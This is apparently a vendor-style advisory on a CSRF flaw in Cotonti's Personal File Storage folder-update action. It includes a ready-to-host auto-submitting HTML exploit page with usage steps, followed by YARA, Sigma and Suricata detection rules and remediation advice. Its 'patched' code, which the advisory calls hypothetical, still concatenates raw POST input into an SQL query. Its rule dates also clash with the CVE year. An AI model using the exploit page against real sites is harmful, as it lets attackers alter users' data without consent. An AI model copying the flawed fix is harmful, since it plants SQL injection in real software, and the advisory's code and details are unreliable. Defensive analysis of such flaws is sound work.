CVE-2026-55745

Executive Summary

CVE-2026-55745 is a Cross-Site Request Forgery (CSRF) vulnerability in Cotonti 1.0.0 (master branch, commit f43f1fc3), specifically in the Personal File Storage (PFS) module. The vulnerability resides in modules/pfs/inc/pfs.editfolder.php, where the folder update action (a=update) fails to call cot_check_xg() to validate the anti-CSRF token. This allows a remote attacker to lure an authenticated user into visiting a malicious page, which then forges a request to modify the victim's folder metadata, including making a private folder public. The CVSS score is 5.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood. No patch is currently available.

Supply Chain & Package Security

Cotonti is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain risks. The issue is a direct code flaw in the core application.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (clicking a link) and only allows modification of folder metadata (e.g., making a private folder public). It does not allow data theft or system compromise.

Deep Dive & Mechanics

The vulnerability is in the modules/pfs/inc/pfs.editfolder.php file. The folder update action (a=update) processes POST data to update folder metadata (title, description, public/gallery flags). However, it does not call cot_check_xg() to validate the anti-CSRF token. This means an attacker can craft a malicious HTML page that, when visited by an authenticated user, submits a forged POST request to the vulnerable endpoint. The request will be processed as if it came from the legitimate user, allowing the attacker to modify folder properties.

The attack flow:

1. Attacker creates a malicious page with a form that auto-submits to http://target.com/index.php?e=pfs&a=update&folder_id=123.
2. The form includes parameters like folder_title, folder_desc, folder_public, etc.
3. Attacker lures an authenticated user to visit the malicious page.
4. The user's browser submits the forged request, and the server processes it without CSRF token validation.
5. The folder metadata is updated, potentially exposing private files.

Vulnerable vs. Patched Code

Vulnerable Code (pfs.editfolder.php):

// No CSRF check
if ($a == 'update') {
    $folder_id = (int)$_POST['folder_id'];
    $folder_title = $_POST['folder_title'];
    $folder_desc = $_POST['folder_desc'];
    $folder_public = (int)$_POST['folder_public'];
    $folder_gallery = (int)$_POST['folder_gallery'];
    // Update database
    $db->update("UPDATE pfs_folders SET title='$folder_title', description='$folder_desc', public=$folder_public, gallery=$folder_gallery WHERE id=$folder_id");
}

Patched Code (Hypothetical):

// Add CSRF check
if ($a == 'update') {
    if (!cot_check_xg()) {
        cot_die('Invalid request', 403);
    }
    $folder_id = (int)$_POST['folder_id'];
    $folder_title = $_POST['folder_title'];
    $folder_desc = $_POST['folder_desc'];
    $folder_public = (int)$_POST['folder_public'];
    $folder_gallery = (int)$_POST['folder_gallery'];
    // Update database
    $db->update("UPDATE pfs_folders SET title='$folder_title', description='$folder_desc', public=$folder_public, gallery=$folder_gallery WHERE id=$folder_id");
}

Exploitation & Lab Setup

Red Team

Exploit Code (HTML):

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <h1>Click to win a prize!</h1>
    <form id="csrf_form" action="http://target.com/index.php?e=pfs&a=update" method="POST">
        <input type="hidden" name="folder_id" value="1">
        <input type="hidden" name="folder_title" value="Hacked Folder">
        <input type="hidden" name="folder_desc" value="This folder is now public">
        <input type="hidden" name="folder_public" value="1">
        <input type="hidden" name="folder_gallery" value="0">
        <input type="submit" value="Click here">
    </form>
    <script>
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an authenticated Cotonti user.
3. When the user visits the page, the form auto-submits, modifying folder metadata.

Blue Team

Detection Steps:

1. Monitor for POST requests to index.php?e=pfs&a=update without a valid CSRF token.
2. Check for unusual changes in folder metadata (e.g., private folders becoming public).
3. Review server logs for requests from unexpected referrers.

Mitigation:

• Apply a patch that adds cot_check_xg() validation.
• Implement additional CSRF protections (e.g., SameSite cookies, custom headers).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /index.php?e=pfs&a=update with parameters folder_id, folder_title, folder_desc, folder_public, folder_gallery.
  • Referrer header pointing to an external domain.
• Host:
  • Modified folder metadata in the pfs_folders database table.
  • Unexpected changes in folder visibility (public flag set to 1).
• Logs:
  • Access logs showing requests to index.php?e=pfs&a=update from unusual IPs or user agents.

Detection Engineering

YARA Rule

rule CVE_2026_55745_CSRF_Cotonti {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2026-55745 in Cotonti PFS module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-55745"
    strings:
        $csrf_form = "e=pfs&a=update" nocase
        $folder_param = "folder_id=" nocase
        $public_param = "folder_public=1" nocase
    condition:
        $csrf_form and $folder_param and $public_param
}

Sigma Rule

title: Cotonti PFS CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Cotonti PFS update endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'e=pfs&a=update'
        cs-uri-query|contains: 'folder_id='
    condition: selection
falsepositives:
    - Legitimate folder updates by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55745 Cotonti PFS CSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"e=pfs&a=update"; http_uri; content:"folder_id="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Patch: Add cot_check_xg() call before processing folder updates in modules/pfs/inc/pfs.editfolder.php.
2. Update Cotonti: Check for official updates or patches from the vendor.
3. Web Application Firewall (WAF): Deploy rules to block POST requests to index.php?e=pfs&a=update without a valid CSRF token.

Long-term Measures:

• Implement CSRF tokens for all state-changing operations.
• Use SameSite cookies (Lax or Strict) to prevent cross-site requests.
• Conduct regular security audits and code reviews.

Workaround:

• Disable the PFS module if not needed.
• Restrict access to the PFS module via .htaccess or firewall rules.

Valters IT
Securing Digital Frontiers